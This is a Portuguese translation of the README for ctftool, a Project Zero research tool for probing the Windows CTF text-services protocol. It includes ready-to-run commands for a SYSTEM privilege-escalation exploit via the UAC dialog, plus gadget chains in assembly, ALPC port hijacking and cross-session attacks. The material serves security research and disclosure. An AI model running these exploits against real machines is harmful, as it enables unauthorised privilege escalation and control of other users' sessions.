
Ferramenta Interativa de Exploração de CTF
Quer apenas testar o exploit do SYSTEM? Clique aqui.
Este é o ctftool, uma ferramenta de linha de comando interativa para experimentar com o CTF, um protocolo pouco conhecido usado no Windows para implementar Serviços de Texto. Isso pode ser útil para estudar os internals do Windows, depurar problemas complexos com Processadores de Entrada de Texto e analisar a segurança do Windows.
É possível escrever scripts simples com o ctftool para automatizar a interação com clientes ou servidores CTF, ou realizar fuzzing simples.
Há uma postagem no blog que acompanha o lançamento desta ferramenta disponível aqui.
https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html
O ctftool foi testado no Windows 7, Windows 8 e Windows 10. Versões de 32 bits e x64 são suportadas, mas a x64 foi testada mais extensivamente.
Há ajuda online para a maioria dos comandos, basta digitar help para ver uma lista de comandos e help <comando> para ver ajuda detalhada para um comando específico.
$ ./ctftool.exe
Uma ferramenta interativa de exploração ctf por @taviso.
Digite "help" para comandos disponíveis.
A maioria dos comandos requer uma conexão, veja "help connect".
ctf> help
Digite `help <comando>` para ajuda com um comando específico.
Qualquer linha começando com # é considerada um comentário.
help - Lista comandos disponíveis.
exit - Sai do shell.
connect - Conecta à porta ALPC do CTF.
info - Consulta informações do servidor.
scan - Enumera clientes conectados.
callstub - Pede a um cliente para invocar uma função.
createstub - Pede a um cliente para instanciar CLSID.
hijack - Tenta sequestrar um caminho de servidor ALPC.
sendinput - Envia teclas para uma thread.
setarg - Marshaliza um parâmetro.
getarg - Desmarshaliza um parâmetro.
wait - Aguarda um processo e define-o como thread padrão.
thread - Define a thread padrão.
sleep - Dorme por milissegundos especificados.
forget - Esquece todos os stubs conhecidos.
stack - Imprime o último ponteiro de pilha vazado.
marshal - Envia comando com parâmetros marshallizados.
proxy - Envia comando com parâmetros proxy.
call - Envia comando sem dados adicionados.
window - Cria e registra uma janela de mensagem.
patch - Aplica patch em um parâmetro marshallizado.
module - Imprime o endereço base de um módulo.
module64 - Imprime o endereço base de um módulo 64 bits.
editarg - Altera o tipo de um parâmetro marshallizado.
symbol - Consulta um offset de símbolo a partir de ImageBase.
set - Altera ou exibe vários parâmetros do ctftool.
show - Mostra o valor de variáveis especiais que você pode usar.
lock - Bloqueia a estação de trabalho, muda para o desktop Winlogon.
repeat - Repete um comando várias vezes.
run - Executa um comando.
script - Origina um arquivo de script.
print - Imprime uma string.
consent - Invoca o diálogo de consentimento do UAC.
reg - Consulta um DWORD no registro.
gadget - Encontra o offset de um padrão em um arquivo.
section - Consulta propriedade de seção PE.
A maioria dos comandos requer uma conexão, veja "help connect".
ctf>
A primeira coisa que você vai querer fazer é conectar a uma sessão e ver quais clientes estão conectados.
ctf> connect
A porta do servidor ctf está localizada em \BaseNamedObjects\msctf.serverDefault1
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault1") => 0
Conectado ao servidor CTF@\BaseNamedObjects\msctf.serverDefault1, Handle 00000264
ctf> scan
Cliente 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Cliente 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Cliente 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Cliente 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Cliente 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
Você pode então experimentar enviando e recebendo comandos para o servidor, ou para qualquer um dos clientes conectados.
Se você não quiser compilar por conta própria, confira a aba de releases
Usei GNU make e Visual Studio 2019 para desenvolver o ctftool. Apenas compilações de 32 bits são suportadas, pois isso permite que a ferramenta funcione no Windows x86 e x64.
Se todas as dependências estiverem instaladas, apenas digitar make em um prompt de comando de desenvolvedor deve ser suficiente.
Eu uso a variante "Build Tools" do Visual Studio, e os únicos componentes que selecionei são MSVC, MSBuild, CMake e o SDK.
Este projeto usa submódulos para algumas dependências, certifique-se de usar um comando como este para buscar todo o código necessário.
git submodule update --init --recursive
Os exemplos funcionam apenas no Windows 10 x64. Todas as plataformas e versões desde o Windows XP são afetadas, mas nenhum PoC está implementado atualmente.
Esta ferramenta foi usada para descobrir muitos problemas críticos de segurança no protocolo CTF que existem há décadas.
Se você apenas quer testar um exploit no Windows 10 x64 1903, execute ou clique duas vezes em ctftool.exe e digite este comando:
Uma ferramenta interativa de exploração ctf por @taviso.
Digite "help" para comandos disponíveis.
A maioria dos comandos requer uma conexão, veja "help connect".
ctf> script .\scripts\ctf-consent-system.ctf
Isso vai aguardar o diálogo UAC aparecer, comprometê-lo e iniciar um shell.
Na verdade, o código do exploit é dividido em dois estágios que você pode usar independentemente. Por exemplo, você pode querer comprometer um processo pertencente a um usuário em uma sessão diferente usando os parâmetros opcionais de connect.
A maioria dos clientes CTF pode ser comprometida, pois o kernel força aplicações que desenham janelas a carregar a biblioteca vulnerável.
Simplesmente conecte a uma sessão, selecione um cliente para comprometer (use os comandos scan e thread, ou apenas wait), então:
ctf> script .\scripts\ctf-exploit-common-win10.ctf
Construir uma cadeia de jumps CFG que funcionasse na maioria dos clientes CTF foi bastante desafiador. Há dois componentes principais no exploit final: uma primitiva de escrita arbitrária e então configurar nossos registradores para chamar LoadLibrary().
Você pode usar
dumpbin /headers /loadconfigpara despejar os alvos de branch na lista branca.
Precisava de um gadget de escrita arbitrária para criar objetos em um local previsível. O melhor gadget utilizável que consegui encontrar foi um decremento arbitrário de dword em msvcrt!_init_time.
Isso significa que, em vez de apenas definir os valores que queremos, temos que decrementar até que o LSB atinja o valor desejado. Isso é muito trabalho, mas nunca precisamos fazer mais do que (2^8 - 1) * len decrementos.

Usando essa primitiva, construo um objeto assim em algum espaço livre não utilizado na seção .data do kernel32. Ele precisa fazer parte de uma imagem para que eu possa prever onde será mapeado, já que a randomização de imagem é por inicialização no Windows.

Havia (é claro) muitos gadgets de escrita arbitrária; o problema era retomar o controle da execução após a escrita. Isso se mostrou bastante desafiador, e é a razão pela qual fiquei preso a um decremento de dword em vez de algo mais simples.
O MSCTF captura todas as exceções, então o desafio era encontrar uma escrita arbitrária que não bagunçasse a pilha para que o SEH sobrevivesse, ou que travasse muito rapidamente sem causar danos.
O gadget msvcrt!_init_time foi o melhor que encontrei; em poucas instruções ele desreferencia NULL sem corromper mais memória. Isso significa que podemos repeti-lo ad infinitum.
Encontrei dois gadgets úteis para ajustar registradores. O primeiro era:
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
E o segundo era:
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
Combinando esses dois gadgets com o objeto que formamos com nosso gadget de escrita, podemos redirecionar a execução para kernel32!LoadLibraryA alternando entre eles.
Isso foi complicado, mas a sequência de jumps funciona assim:

Se você estiver interessado, recomendo assistir em um depurador. Observe que você precisará usar os comandos sxd av e sxd bpe ou o depurador irá parar a cada escrita!
Além da corrupção de memória, uma classe importante de vulnerabilidades expostas pelo CTF são os ataques de sessão de edição. Normalmente, um processo não privilegiado (por exemplo, baixa integridade) não teria permissão para enviar entrada ou ler dados de um processo com altos privilégios. Esse limite de segurança é chamado UIPI, Isolamento de Privilégio de Interface do Usuário.
O CTF quebra essas suposições e permite que processos não privilegiados enviem entrada para processos privilegiados.
Existem alguns requisitos para que esse ataque funcione; até onde sei, funcionará apenas se você tiver um idioma de exibição instalado que use um OoP TIP, processador de entrada de texto fora do processo. Usuários com idiomas de entrada que usam IMEs (chinês, japonês, coreano, etc.) e usuários com ferramentas de acessibilidade se enquadram nessa categoria.
Exemplos de ataques incluem...
Há um script de exemplo no diretório de scripts que enviará entrada para uma janela do bloco de notas para demonstrar como as sessões de edição funcionam.
Como não há autenticação envolvida entre clientes e servidores no protocolo CTF, um atacante com os privilégios necessários para escrever em \BaseNamedObjects pode criar a porta ALPC do CTF e fingir ser o monitor.
Isso permite que quaisquer restrições impostas pelo monitor sejam contornadas.
Se você quiser experimentar esse ataque, tente o comando hijack no ctftool.
Uma ferramenta interativa de exploração ctf por @taviso.
Digite "help" para comandos disponíveis.
ctf> hijack Default 1
NtAlpcCreatePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
Não há isolamento de sessão no protocolo CTF; qualquer processo pode conectar a qualquer servidor CTF. Por exemplo, um usuário de Serviços de Terminal pode interagir com os processos de qualquer outro usuário, até mesmo do Administrador.
O comando connect no ctftool suporta conectar a sessões não padrão se você quiser experimentar esse ataque.
Uma ferramenta interativa de exploração ctf por @taviso.
Digite "help" para comandos disponíveis.
A maioria dos comandos requer uma conexão, veja "help connect".
ctf> help connect
Conecta à porta ALPC do CTF.
Uso: connect [NOMEDESKTOP SESSIONID]
Sem parâmetros, conecta ao monitor ctf para o desktop e sessão atuais.
Todos os comandos subsequentes usarão esta conexão para comunicar com o monitor ctf.
Se uma conexão já estiver aberta, a conexão existente é fechada primeiro.
Se NOMEDESKTOP e SESSIONID forem especificados, uma conexão ao monitor ctf
para outro desktop e sessão é aberta, se existir.
Se a porta especificada não existir, aguarde até que ela exista. Isso é
para que você possa esperar por uma sessão que ainda não iniciou em um script.
Exemplos
Conectar ao monitor para o desktop atual
ctf> connect
Conectar a um desktop e sessão específicos.
ctf> connect Default 1
A maioria dos comandos requer uma conexão, veja "help connect".
No momento da escrita, é desconhecido como a Microsoft irá alterar o protocolo CTF em resposta aos inúmeros defeitos de design que esta ferramenta ajudou a expor.
Por essa razão, considere esta ferramenta em estado de prova de conceito.
Todas as versões do Windows desde o Windows XP usam CTF, em todas as plataformas suportadas.
Embora não faça parte do sistema base até o XP, versões tão antigas quanto Windows 98 e NT4 usariam CTF se você instalasse o Microsoft Office.
O ctftool suporta Windows 7 e posteriores em x86 e x64, mas versões anteriores e outras plataformas poderiam ser suportadas, e contribuições seriam apreciadas.
A Microsoft não documenta o que significa CTF; não é explicado em nenhuma das documentações de Serviços de Texto, amostras do SDK, nomes de símbolos, arquivos de cabeçalho ou qualquer outro lugar. Minha teoria é que vem de CTextFramework, o que você poderia nomear a classe em notação húngara.
Existem alguns sites que afirmam que
ctfmontem algo a ver com Clear Type Fonts ou o Azure Collaborative Translation Framework. Eles estão enganados.
Atualização: Jake Nelson encontra evidências para "Common Text Framework"
Tavis Ormandy [email protected]
Todo o código original é Apache 2.0. Consulte o arquivo LICENSE para detalhes.
Os seguintes componentes são projetos de terceiros importados.
GetProcAddress() para módulos de 64 bits a partir de um processo de 32 bits. Isso é usado no comando symbol, e permite que o mesmo binário funcione em x64 e x86.